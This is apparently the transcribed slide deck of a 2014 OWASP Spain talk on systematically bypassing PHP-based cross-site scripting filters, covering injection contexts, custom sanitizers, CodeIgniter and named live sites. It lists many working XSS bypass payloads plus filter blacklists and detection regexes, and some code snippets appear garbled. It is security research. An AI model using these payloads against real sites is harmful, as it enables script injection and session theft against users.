ON BREAKING PHP-BASED CROSS-SITE SCRIPTING PROTECTION MECHANISMS IN THE WILD

A talk by Ashar Javed

@

OWASP Spain Chapter Meeting
13-06-2014, Barcelona (Spain)
THIS TALK IS NOT ABOUT MONKEY TESTING
MONKEY TESTING --- ACCORDING TO WIKIPEDIA

In computer science, a Monkey test (aka. Mark Testing) is a unit test that runs with no specific test in mind :)

http://en.wikipedia.org/wiki/Monkey_test
THIS TALK IS ABOUT ... 

Systematically Breaking ...
WHO AM I?
• A researcher in Ruhr University Bochum, RUB Germany
• A student of XSS who is working towards his PhD in XSS
• An XSSer / An XSS Enthusiast
  http://www.tubechop.com/watch/2670518
• Listed in top sites' hall of fame
• A proud father of two
• Speaker @HITBKUL 2013, @DeepSec 2013 & OWASP Seminar@RSA Europe 2013
• A Twitter lover @soaj1664ashar
ANOTHER REASON FOR AN XSSER :)

ashar javed
ashar javed xss
ashar javed
ashar javed facebook
ashar javed paf

Zum Start der Suche Eingabetaste drücken
WHY I LOVE XSS?
REASON #1
REASON # 2
REASON # 3

XSS is everywhere ...

see: http://slides.com/mscasharjaved/cross-site-scripting-my-love
A MONTHS AGO ...

https://twitter.com/soaj1664ashar/status/466945529059221504
250$  XSS CHALLENGE 
(ANNOUNCEMENT)

50$ per-context bypass (output reflects in 5 contexts)

5*50=250$

http://demo.chm-software.com/7fc785c6bd26b49d7a7698a7518a73ed/

OR

http://xssplaygroundforfunandlearn.netai.net/final.html

OR

http://xssplayground.net23.net/final.html
AGENDA

1. PHP
2. XSS
3. Testing Methodology
4. Per-Context XSS Attack Methodology
5. Summarize PHP's findings (includes built-in functions, customized XSS solutions and top PHP-based web frameworks)
6. Results of Alexa Survey of Top 100 sites
7. Conclusion
WHY HYPERTEXT PREPROCESSOR (PHP)?
81.7% of the web application servers are using PHP

http://w3techs.com/technologies/overview/programming_language
REASON # 2

2.1 million web application servers are using PHP

http://www.php.net/usage.php
REASON # 3

installed on 244 million websites

http://www.php.net/usage.php
REASON # 4

“Server-side Programming Language of the Year 2013”

http://w3techs.com/blog/entry/web_technologies_of_the_year_2
FINAL REASON (TOP SITES)

- Facebook
- Magento
- WordPress
- vk
CROSS-SITE SCRIPTING (XSS)
XSS ACCORDING TO OWASP

According to OWASP

“Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.”

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
SOME STATISTICS ABOUT XSS
ACCORDING TO PREVOTY CTO KUNAL ANAND

“80% of all the security incidents in the financial sector have been attributed to cross-site scripting.

https://www.brightstalk.com/webcast/288/97255
ACCORDING TO OPEN SOURCE VULNERABILITY DATABASE

http://www.osvdb.org/osvdb/show_graph/1
# ACCORDING TO OWASP TOP 10, 2013

## OWASP Top 10 Application Security Risks – 2013

<table>
<thead>
<tr>
<th>T10</th>
<th>OWASP Top 10 Application Security Risks – 2013</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1</td>
<td>Injection</td>
</tr>
<tr>
<td>A2</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9</td>
<td>Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10</td>
<td>Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

- **Injection**: Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
- **Broken Authentication and Session Management**: Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.
- **Cross-Site Scripting (XSS)**: XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping, XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface websites, or redirect the user to malicious sites.
- **Insecure Direct Object References**: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
- **Security Misconfiguration**: Security misconfiguration is the most frequent security problem. Any web application, at any maturity level, can have the configuration settings that cause it to fail. A web application may ship with default accounts, protocols, and credentials. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
- **Sensitive Data Exposure**: Many web applications do not properly protect sensitive data, such as credit cards, tax ids, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
- **Missing Function Level Access Control**: Function level access control protects different parts of an application from unauthorized access. However, function level access control is often not implemented correctly, enabling attackers to access unauthorized functionality.
- **Cross-Site Request Forgery (CSRF)**: A CSRF attack forces a logged-in victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
- **Using Components with Known Vulnerabilities**: Vulnerable components, such as libraries, frameworks, and other software modules almost always run with full privileges. So, if exploited, they can cause serious data loss or server takeover. Applications using these vulnerable components may undermine their defenses and enable a range of possible attacks and impacts.
- **Unvalidated Redirects and Forwards**: Unvalidated redirects and forwards frequently redirect unknown users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

According to Google Vulnerability Reward Program (VRP)

#XSS at #1 as far as valid bug bounty submissions to #Google in year 2013. (ref: youtube.com/watch?v=oAYjZy...) pic.twitter.com/8eLeZMs4Ry
ACCORDING TO GOOGLE TRENDS

For the first time in history, XSS is Googled more often than SQL injection.
google.com/trends/explore... #uselessfacts
WHY YOU SHOULD CARE ABOUT XSS?

https://twitter.com/soaj1664ashar/status/362493382645383168
A RECENT EXAMPLE (TRAFFIC HIJACKING)

Persistent XSS Enables Large-Scale DDoS Attack

The attack was carried out using traffic hijacking techniques, which flooded our client with over 20 million GET requests originating from the browsers of over 22,000 Internet users - all turned into unwilling accomplices by the offender.

http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html
AN EXAMPLE FROM TWO DAYS AGO I.E., #TWEETBLEED

#tweetbleed is the term coined here:
https://twitter.com/pdp/status/476796934062370816
TWEETDECK’S PERSISTENT XSS

It is funny to see that so far around 38K people were `RETweeted` and they do not know about it :)

pic.twitter.com/NEYDzcW2Aq

https://twitter.com/soaj1664ashar/status/476773831928209408
BUT BLEEDING CONTINUE ...

https://twitter.com/derGeruhn/status/476764918763749376
We’ve temporarily taken TweetDeck services down to assess today’s earlier security issue. We’ll update when services are back up.

https://twitter.com/TweetDeck/status/476770732987252736
GETTING BORED ...
WHAT IF I TOLD YOU :) WHAT IF I TOLD YOU THAT I BREAK ALMOST ALL PHP-BASED XSS PROTECTIONS ...
BUT HOW?

BUT HOW

WTF?
TESTING METHODOLOGY

• Simulate Real Web Applications
• Testing conducted in five common contexts (HTML, Script, Attribute, Style & URL)
WHAT IS CONTEXT?
What is Context?
Context is an environment where user-supplied input or input from other application(s) eventually ends-up or starts living.

https://twitter.com/soaj1664ashar/status/463960615157915648
**HTML CONTEXT**

**HTML Context:** In standard HTML context, normally user-supplied input reflects back or the web application passes the input back as the content of any HTML tag e.g., `<body>` tag.

```php
<?php echo filter_function($_POST['input']); ?>
</body>
```

`filter_function` === general term
E.G.,
HTTP://WWW.EA.COM/SEARCH?Q="''XYZ"
E.G.,
HTTP://SEARCH.HEALTH.COM/RESULTS.HTML?Ntt=""XYZ
E.G.,
HTTP://WWW.INDIATIMES.COM/SEARCH/""""XYZ/""""
Attribute Context: In attribute context, input reflects back in the attribute context i.e., as a value of an attribute. e.g., class attribute of `<div>` or value attribute of `<input>` tag etc.

```php
div class='<?=$php echo filter_function($_POST['input']);?>'
Attribute Context</div>
```
E.G.,
HTTP://WWW.EA.COM/SEARCH?Q=""JUNK
E.G., HTTP://WWW.EA.COM/SEARCH?Q=JUNK
E.G.,
HTTP://WWW.DRUDGEREPORTARCHIVES.COM/DSP/SEARCH.HTM?SEARCHFOR=JUNK
**Script Context:** In script context, user-supplied input reflects back in the script code block as a value of some variable. e.g.,

```html
<script>var a='<?php echo filter_function($_POST["input"]);?>';</script>
```
E.G.,
HTTP://SEARCH.HEALTH.COM/RESULTS.HTML?NTT=xxxxxxxxxxxx

Double Quotes Case
E.G.,
HTTP://WWW.DAILYMAIL.CO.UK/HOME/SEARCH.HTML?
SEL=SITE&SEARCHPHRASE=xxxx
xxxxxxxxx

Single Quotes Case
E.G.,
HTTP://WWW.INDIATIMES.COM/SEARCH/XXXXXXXXXXXXXXXXX/

```html
<!-- Begin Google Analytics Tag -->
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-1950116']);
_gaq.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_addIgnoredOrganic', 'indiatimes']);
_gaq.push(['_addIgnoredOrganic', 'indiatimes.com']);
_gaq.push(['_addIgnoredOrganic', 'india.times']);
_gaq.push(['_addIgnoredOrganic', 'www.indiatimes.com']);
_gaq.push(['_addIgnoredOrganic', 'indiatimes news']);
_gaq.push(['_addIgnoredOrganic', 'india times']);
_gaq.push(['_addIgnoredOrganic', 'www.indiatimes.com']);
_gaq.push(['_addIgnoredOrganic', 'indiatimes news']);
_gaq.push(['_trackPageview', '/search?query=XXXXXXXXXXXX']);

(function() {
  var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
  ga.src = ('https:' === document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
}());
</script>
<!-- End Google Analytics Tag -->
```
XSS IN INDIATIMES ...
URL Context: In URL context, user-supplied input reflects back in the "href" attribute of anchor tag i.e., `<a>` or "src" attribute of `<img>` or `<iframe>` or `<embed>` tag or "data" attribute of `<object>` tag. e.g.,

```
<a href='<?php echo filter_function($_POST['input']); ?>'>URL Context</a>
```
E.G., HTTP://EDITOR.FROALA.COM/
E.G.,
HTTP://WWW.TINYMCE.COM/TRY IT/FULL.PHP
E.G.,
HTTPS://TRANSLATE.TWITTER.COM/FORUM/TOPICS/5952/POSTS/NEW
**Markdown cheat sheet**

### Format Text

**Headers**
- # This is an `<h1>` tag
- ## This is an `<h2>` tag
- ##### This is an `<h6>` tag

**Text styles**
- "This text will be italic"
- _This will also be italic_
- "**This text will be bold**"
- __This will also be bold__
- "You "**can**" combine them"

### Lists

**Unordered**
- * Item 1
- * Item 2
- * Item 3a
- * Item 3b

**Ordered**
1. Item 1
2. Item 2
3. Item 3
   - Item 3a
   - Item 3b

### Miscellaneous

#### Links
- https://twitter.com/ - automatic!
- [Twitter](https://twitter.com/)

#### Blockquotes
- As Kanye West said:
  - We're living the future so
  - the present is our past.
The "style context" is popular in cases where modern web applications allow some harmless mark-ups or rich-text functionality like bold, italic and underline tags in the comment section or blog post and at the same time allow users to set styles on these tags e.g., change font size and color.

```php
trace filter_function($_POST['input']);
```
E.G., A SCREEN-SHOT FROM EBAY
LIVE XSS IN EBAY IN STYLE CONTEXT
ANOTHER XSS IN MAGENTO COMMERCE IN STYLE CONTEXT
SUMMARY OF CONTEXTS

[Diagram showing a user interaction model with steps labeled 1 to 5.

1. User initiates a search through a browser.
2. Web request is sent to the server.
3. The server accesses the database.
4. The database provides the necessary information.
5. The server responds with search results, and these results include:
   - Search Results...
   - You Search For: `<span>XSS</span>`
   - Search Again: `<input type="text" value="XSS">`
   - Site's analytics script: `<script type="text/javascript">var searchquery='XSS';</script>`
   - Popular Searches: `<a href="XSS">XSS</a>`
   - The color is not available: `<div style="XSS">div</div>`]
ATTACK METHODOLOGY

- Systematic in nature
- Easy to understand
- Context-Specific
- Attack methodology is `complete` and one can guarantee that there is an XSS or no XSS in a particular injection point.
- With the help of attack methodology, one can make a secure per-context XSS sanitizer
- Can be applied to other server-side languages e.g., ASP, Ruby etc
SCRIPT CONTEXT ATTACK METHODOLOGY

Only for attendees ... :(
ATTACKER MAY ALSO USED SINGLE LINE COMMENT IN ORDER TO MAKE CLOSING QUOTE’S AFFECT NULL & VOID

"; confirm(1); //

OR

'; confirm(1); //
LIVE DEMO #1

http://www.dailymail.co.uk/home/search.html
LIVE DEMO # 2

http://de.eonline.com
QUESTION ARISE ...

Why no sort of encoding in script-context attack methodology?

Web Escaping and Encoding

1,677,721,600,000,000 ways to encode <script>
It simply does not work. Encoding will not help you in breaking the script context unless developers are doing some sort of explicit decoding.

Better to avoid explicit decoding but I saw developers are doing explicit decoding e.g., see my short post on Yahoo Web Analytic XSS

https://twitter.com/soaj1664ashar/status/460346852580139008

and see my write-up on XSS in alexa.com

http://issuu.com/mscasharjaved/docs/urlwriteup
DEMO SHOWS ENCODING DOES NOT HELP YOU IN BREAKING THE SCRIPT CONTEXT

http://jsfiddle.net/4eqK4/2/
JSON CONTEXT (SCRIPT)

http://xssplaygroundforfunandlearn.netai.net/series7.html
SOLUTION #1

```
}); confirm(1); var x=[{""":"
```
OTHER POSSIBLE WAYS/SOLUTIONS ...

How many alerts you will get? :-D
Operators in action ....
^alert(1)^
|alert(1)|
&alert(1)&
>>alert(1)>>
all works .. pic.twitter.com/I1xTg5fYPX

Many more combination of above operators ....

https://twitter.com/soaj1664ashar/status/469442421148119040
ATTRIBUTE CONTEXT ATTACK METHODOLOGY

Only for attendees :)
YAHOO EMAIL WAS VULNERABLE TO AN XSS IN AN ATTRIBUTE CONTEXT
LIVE DEMO #1

http://www.ea.com/
LIVE DEMO # 2

http://www.drudgereportarchives.com/dsp/search.htm
LIVE DEMO # 3

http://www.biblegateway.com
3RD STEP OF ATTRIBUTE CONTEXT ATTACK METHODOLOGY

```javascript
`onmouseover=alert(1)
```

```javascript
` === back tick
```
```
TRICK DISCOVERED BY
YOSUKE HASEGAWA
```

https://twitter.com/hasegawayosuke
IE8 TREATS BACK TICK `` AS A VALID SEPARATOR FOR ATTRIBUTE & ATTRIBUTE'S VALUE

Very useful in breaking attribute context if site is properly filtering single and double quotes
NOTED IN HTML5 SECURITY CHEAT SHEET
HTTP://HTML5SEC.ORG/ BY

Mario Heiderich
https://twitter.com/0x6D6172696F
Another useful tool by him is
http://html5sec.org/innerhtml/
and
must read research paper by him if you are interested in
innerHTML and mutation XSS
http://www.nds.rub.de/media/emma/veroeffentlichungen/2013
CCS13.pdf
BACK TICK ` ` DEMOS TESTED ON MICROSOFT WINDOWS XP + IE8 AND TOOL USED FOR TESTING IS HTTP://HTML5SEC.ORG/INNERHTML/
```
<div class="onmouseover=alert(1)">attribute context</div>
```

document.write(innerHTML) Apply.style.cssText()

```html
<div class="onmouseover=alert(1)">attribute context</div>
```
```
<input type="text" value="`onfocus=alert(1)`">
```

```javascript
`onfocus=alert(1)`
```

```html
<INPUT value="`onfocus=alert(1)` type=text">
```
GITHUB HTTPS://GITHUB.COM/ IS VULNERABLE TO INNERHTML BASED XSS

```
<img src="x" alt="\'onerror=alert(1)\'>
```

```
document.write(innerHTML)  Apply style.cssText()
```

```
<IMG alt="\'onerror=alert(1) src="x"">
```
Thanks for the submission! We have reviewed your report and validated your findings. After internally assessing the findings we have determined they are low in risk. As you noted, this vulnerability only applies to Internet Explorer 8 (or prior), which is not supported by GitHub.com. While overall IE8 usage may be 22%, the usage on GitHub.com is substantially less. As a result, the vulnerability is low in risk to GitHub users and not eligible for a reward under the Bug Bounty program.

Best regards and happy hacking!
TINYMCE WAS ALSO VULNERABLE TO INNERHTML BASED XSS
WHO IS USING TINYMCE?
Who is using TinyMCE?

TinyMCE is the most used WYSIWYG editor in the world. It is used by millions of ppl around the world for editing content. Here is a list of a few known Enterprise Companies or popular Open Source projects that use TinyMCE in one way or the other:

Facebook

The 500+ million ppl on Facebook has access to TinyMCE. Facebook is using TinyMCE in their "Notes" and "Facebook Questions" sections.

Jive Software

Jive Software uses TinyMCE as default core content editor in their ground-breaking social platform.

Wordpress

The most popular and widespread blogging software uses TinyMCE as the default editor, they have millions of downloads for each new release.

Oracle

TinyMCE is used to enhance the Oracle Beehive Collaboration software.

Microsoft

Various Microsoft forums (MSDN etc) uses TinyMCE as their default forum content editor.

Apple

TinyMCE is used by Apple in some of their online applications.

IBM

IBM uses TinyMCE in their Web Content Management software.

Autonomy Interwoven

Autonomy Interwoven uses TinyMCE in their systems.

Joomla
IS INNERHTML (i.e., ``) BASED XSS IS EXPLOITABLE?

http://xssplaygroundforfunandlearn.netai.net/innerHTMLtesting.html

```html
onmouseover=alert(1)
```

http://xssplaygroundforfunandlearn.netai.net/innerHTMLtesting.html - Original Source

```html
1. <div id="div1"> <input id="customSecretQuestion" name="customSecretQuestion" value="onmouseover=alert(1)" size=40" autocomplete="off" /> </div>
2. <div id="div2">nbsp;</div>
3. <script>
4. document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;
5. var a = document.getElementById("div2").innerText;
6. alert(a);
7. </script>
```
QUESTION ARISE: WHO CARES ABOUT IE8?
IE8 STILL HAD 22% MARKET SHARE

WHY NO ENCODING IN AN ATTRIBUTE CONTEXT ATTACK METHODOLOGY?

see demo http://jsfiddle.net/9t8UM/2/
STYLE CONTEXT ATTACK METHODOLOGY

Only for attendees :)


STYLISTIC XSS IN MAGENTO

Stylish XSS in Magento: When `style` helps you ...

How to bypass CodeIgniter in a Real World Setting?

by

Ashar Javed

https://twitter.com/soaj1664ashar

URL CONTEXT ATTACK METHODOLOGY

Only for attendees :)

STORED XSS IN TWITTER TRANSLATION IN URL CONTEXT EVEN IN THE PRESENCE OF CONTENT SECURITY POLICY (CSP)

Stored XSS in Twitter Translation Center's Forum

by

Ashar Javed

https://twitter.com/soaj1664ashar

XSS IN MAGENTO COMMERCE IN URL CONTEXT (DATA URI)
EVALUATION OF ATTACK METHODOLOGY

- PHP’s Built-In Functions
- Customized Solutions
- PHP-based Web Application Frameworks
- Alexa’s top 100 sites (10 top sites from 10 different categories)
**trim():** The “trim” function removes whitespaces (i.e., normal space, tab, newline, carriage return and vertical tab) from the beginning and end of the string.

**strip_tags():** The “strip_tags” function removes HTML and PHP tags from the string. This function also removes HTML comments from the string.

**htmlentities():** This function converts potentially dangerous characters (i.e., ”, < etc) into their respective HTML entities e.g., < becomes &lt; The “htmlspecialchars” function also works in a similar manner.

**stripslashes():** This function removes backslash (\) from the string. The “stripslashes” function also converts double backslashes (\\) into single backslash.
A quick search on GitHub reveals ...

http://xssplayground.net23.net/clean6.html
A quick search on GitHub reveals ... (false positives are also there but still give you an idea of popularity)

http://xssplayground.net23.net/clean20.html
A quick search on GitHub shows ...

http://xssplayground.net23.net/clean21.html
SUMMARY OF BYPASSES

Only for attendees :)
CUSTOMIZED XSS SOLUTIONS
Developers are also calling it with names like `filterXSS` and `noXSS`.

A quick search on GitHub reveals

```
extension.php function $val = preg_replace("/(\x00-\x08:\x0b-\x0c:\x0e-\x19)/", ".", $val);
```

http://xssplayground.net23.net/clean.html
FEATURES OF REMOVEXSS() 
Two arrays of blacklisted keywords :) 

```php
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra = array_merge($ra1, $ra2);```
HTML CONTEXT BYPASSES OF REMOVEXSS()

http://xssplayground.net23.net/clean.html

<input type=text oninput>alert(1)>

<form action=ja&Tab;vasc&NewLine;ript&color>
<button type=submit>
ATTRIBUTE CONTEXT BYPASSES OF REMOVEXSS() 

All event handlers that are not part of black-listed array will bypass this protection e.g.,

onpopstate
onstorage
I Tweeted about that and you will see lots of bypasses by fellow researchers.

https://twitter.com/soaj1664ashar/status/470843406521237504
STYLE CONTEXT BYPASS OF REMOVEXSS()

width:ex/**/pression(alert(1))
URL CONTEXT BYPASS OF REMOVEXSS()

ja&Tab;vasc&NewLine:ript&colon>alert&lpar;1&rpar;
SCRIPT CONTEXT BYPASS OF REMOVEXSS()

'confirm(1)'; 'confirm(1)';

'confirm(1)'; 'confirm(1)';
A very popular but sorry to say BAD XSS protection ... 

A quick search on GitHub reveals ...

http://xssplayground.net23.net/clean1.html
WHY SO POPULAR?
1) Function for stripping out malicious bits

```php
<?php
function cleanInput($input) {

    $search = array(
        '{@<script[^>]*?>.*?</script>@si}', // Strip out javascript
        '{@<[\s!]*?[^>]*?>@si}', // Strip out HTML tags
        '{@<style[^>]*?>.*?</style>@siU}', // Strip style tags properly
        '{@<![\sS]*?--[\s\t\n\r]*>}', // Strip multi-line comments
    );

    $output = preg_replace($search, '', $input);
    return $output;
}
?>
```
<?php

function cleanInput($input) {

    $search = array(
        '{@<script[^>]*?>.*?<\script>@si',
        '{@<![^]*[^>]*>@si',
        '{@<style[^>]*?>.*?<\style>@siU',
        '{@!\s\S]*--[\t\n\r]*@'
    );

    $output = preg_replace($search, '', $input);
    return $output;
}
?>
HTML CONTEXT BYPASSES OF CLEANINPUT()

http://xssplayground.net23.net/clean1.html

<img src=x id=confirm(1) onerror=eval(id)

<iframe src=javascript:confirm%281%29
FOR OTHER CONTEXTS ... IT SHOULD BE :)
The goal of this function is to stop JavaScript execution via style.

```php
class sanitizeCSS
{
    static function sanitizeCSS($input)
    {
        $output = preg_replace('/\n\n\n.*(url)(\n)(.*);/', '', $input);
        /* execute this after the URL removal, since it will break the CSS.
        * this is for the leftover hardcore cases such as expression(...) */
        $output = preg_replace('/\n\n\n.*\((.+)+\)+/ ', '', $output);
        return $output;
    }
}
```

http://xssplayground.net23.net/clean2.html
IT PERFORMS WELL FOR CASES LIKE:

\(/(\n)??(.)*url(\.)*;\)/

- Group #1: line_feed
- Group #2: any character
- Group #3: "url"
- Group #4: any character
- Group #5: ";"

\(/(.)*\(/\()+(.)*\)/

- Group #1: any character
- Group #2: "("
- Group #3: any character

```html
<div style='background:url(javascript:confirm(document.cookie))'></div>
<div style='width:expression(confirm(document.location))'></div>
```
BUT REMEMBER THE 3RD STEP OF STYLE CONTEXT ATTACK METHODOLOGY ...
HERE IS THE BYPASS :)
Another popular customized XSS protection solution.

http://xssplayground.net23.net/clean3.html
WHY POPULAR?
SYMPHONY CMS

A popular XSLT-powered open source content management system is using `detectXSS()` function.
ACCORDING TO
HTTP://WWW.GETSYMPHONY.COM/

Build Anything

An impressive assortment of 410 sites makes the showcase an ever-growing testament to Symphony's power and flexibility.
So bypass means ...

410 sites XSSed ...
FEATURES OF DETECTXSS()

// Set the patterns we'll test against
$patterns = array(
    // Match any attribute starting with "on" or xmlns
    '^[\x00-\x20]*\"[^\x00-\x20]+\"\/(on|xmlns)[^>]*?\#iUu',

    // Match javascript:, livescript:, vbscript: and mocha: protocols
    '!(java|live|vb)script|mochalfeed|data):([^\w]*!iUu',
    '#\-moz-binding[^0-\x20]*:#u',

    // Match style attributes
    '^[\x00-\x20]*\"[^\x00-\x20]+\"\/(style|[^>]*?\#iUu',

    // Match unneeded tags
    '^[\x00-\x20]*\/(applet|meta|xml|blink|link|style|script|embed|object|iframe|frame|frameset|ilayer|layer|bgsound|title|base)[^>]*?\#iUu',
);
HTML CONTEXT BYPASS OF DETECTXSS()
FOR OTHER CONTEXTS ...

IT'S EASY ...
# SUMMARY OF BYPASSES

<table>
<thead>
<tr>
<th>PHP-based Customized XSS Protections</th>
<th>HTML Context</th>
<th>Attribute Context</th>
<th>Style Context</th>
<th>URL Context</th>
<th>Script Context</th>
</tr>
</thead>
<tbody>
<tr>
<td>RemoveXSS($input)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>cleanInput($input)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>X</td>
</tr>
<tr>
<td>sanitizeCSS($input)</td>
<td>NA</td>
<td>NA</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
</tr>
<tr>
<td>detectXSS($input)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>stripImages($input)</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
</tr>
<tr>
<td>cleanURL($url)</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
<td>✓</td>
<td>NA</td>
</tr>
<tr>
<td>removeScript($input)</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
</tr>
<tr>
<td>sanitizeHTML($string)</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
</tr>
<tr>
<td>xss_clean($data)</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
<td>NA</td>
</tr>
<tr>
<td>stripScriptsAndCss($input)</td>
<td>✓</td>
<td>NA</td>
<td>✓</td>
<td>NA</td>
<td>NA</td>
</tr>
</tbody>
</table>
Web frameworks like CodeIgniter, htmLawed, Nette, HTML Purifier, Laravel and PEAR’s HTML Safe are highly adopted in the wild. The main job of frameworks is to minimize the overhead associated with the common web application development tasks which in turns increase productivity. At the same time, frameworks offers XSS mitigation routines so that security unaware developers can use these functions and may protect their web applications. The frameworks like CodeIgniter, htmLawed, Nette, HTML Purifier, PHP Input Filter, CakePHP and PEAR’s HTML Safe have dedicated functionality for the protection of XSS attacks.
Codelgniter is one of the world’s most popular Open Source PHP frameworks, used by thousands of developers powering hundreds of thousands of sites, in addition to being deployed as the underpinning of every ExpressionEngine installation. As of this writing it is the second most watched PHP project hosted at GitHub, surpassing Slim, Yii, CakePHP, Zend, and Laravel in either followers, contributors, or both. It has the highest number of forks of any PHP project at GitHub of all time. It is used by everyone from AT&T to Home Depot to Dictionary.com, to Rachael Ray to Magento to the Mail & Guardian, to the Universities of Missouri, Michigan, Texas, Georgia, and more (Sources: builtwith.com, wappalyzer.com). And it is used as the server-side back end for many mobile apps.

Ashar Javed @soaj1664ashar · Oct 4
I never know that Codelgniter (Open Source #PHP frameworks (@Codelgniter)) is that much popular :P pic.twitter.com/dhZ2yJ21of

Flag media
CODEIGNITER BYPASSES

https://github.com/EllisLab/CodeIgniter/issues/2667
FEATURE OF CODEIGNITER

Disallowed JavaScript in Links & Image Tags (Snapshot from the latest CodeIgniter version available at GitHub)

```php
if (preg_match('/<a/i', $str))
{
    $str = preg_replace_callback('#<a[^a-z0-9]+([->])?[^>]*|$/si', array($this, '_js_link_removal'), $str);
}

if (preg_match('/<img/i', $str))
{
    $str = preg_replace_callback('#<img[^a-z0-9]+([->])?[^>]*|$/si', array($this, '_js_img_removal'), $str);
}
```

BEFORE MY BYPASS LINK
JAVASCRIPT REMOVAL
FEATURE’S REGULAR
EXPRESSION LOOKS LIKE

/\#<a\s+([^>]*)?([^>]|$)/
TEST-BED RELATED TO OLD CODEIGNITER BEFORE I STARTED BYPASSING

http://xssplayground.net23.net/clean11.html
WHO IS WILLING TO BYPASS THIS? :)

```
/\#<a\s+([^>]\*?)(?:>|$)/
```

![Diagram of regular expression](image-url)
BYPASS #1, ONLY FORWARD SLASH (\/) IS ENOUGH TO BYPASS THE REGULAR EXPRESSION :) 

<a href=ja\&Tab;vasc\&NewLine;ript\&colon;confirm(1)>

http://xssplayground.net23.net/clean11.html (old test-bed)

http://xssplayground.net23.net/clean100.html (new test-bed)
SANITIZE NAUGHTY HTML ELEMENTS

Old list of naughty elements before I started bypassing ...

```php
$naughty = 'alert|applet|audio|basefont|base|behavior|bgsound|blink|body|embed|expression|form|frameset|frame|head|html|iLayer|iframe|input|isindex|layer|link|meta|object/plain|plaintext|style|script|textarea|title|video|xml|xss';
```
BYPASS # 2 (USE OF MATH TAG AND IT IS FIREFOX SPECIFIC BYPASS)

<math><a/xlink:href=javascript&colon;confirm(1)>click</a>

http://xssplayground.net23.net/clean11.html (old test-bed)

http://xssplayground.net23.net/clean100.html (new test-bed)
Sanitize naughty HTML elements

$naughty = 'alert|prompt|confirm|applet|audio|basefont|base|behavior|
bgsound|blink|body|embed|expression|form|frameset|frame|head|html|ilayer|
iframe|input|button|select|isindex|layer|link|meta|keygen|object|
plaintext|style|script|textarea|title|math|video|svg+xml|xss';
OLD CODEIGNITER HAD NO SUPPORT FOR HTML5 ENTITIES LIKE &TAB;, &COLON; AND &NEWLINE;

I was making use of these entities in order to bypass CodeIgniter's black-listing ...
NOW THEY ARE SUPPORTING HTML5 ENTITIES

```php
// If we're not on PHP 5.4+, add the possibly dangerous HTML 5
// entities to the array manually
if ($flag === ENT_COMPAT)
{
    $entities[':'] = '&colon;';
    $entities['('] = '&lpar;';
    $entities[')'] = '&rpar;';
    $entities['\n'] = '&newline;';
    $entities['\t'] = '&tab;';
}
```

YET ANOTHER FEATURE OF CODEIGNITER

Removes Invisible characters e.g., %00 i.e., NULL

```php
function remove_invisible_characters($str, $url_encoded = TRUE)
{
    $non_displayables = array();

    // every control character except newline (dec 10)
    // carriage return (dec 13), and horizontal tab (dec 09)

    if ($url_encoded)
    {
        $non_displayables[] = '/%0[0-8bcef]/'; // url encoded 00-08, 11, 12, 14, 15
        $non_displayables[] = '/%1[0-9a-f]/'; // url encoded 16-31
    }

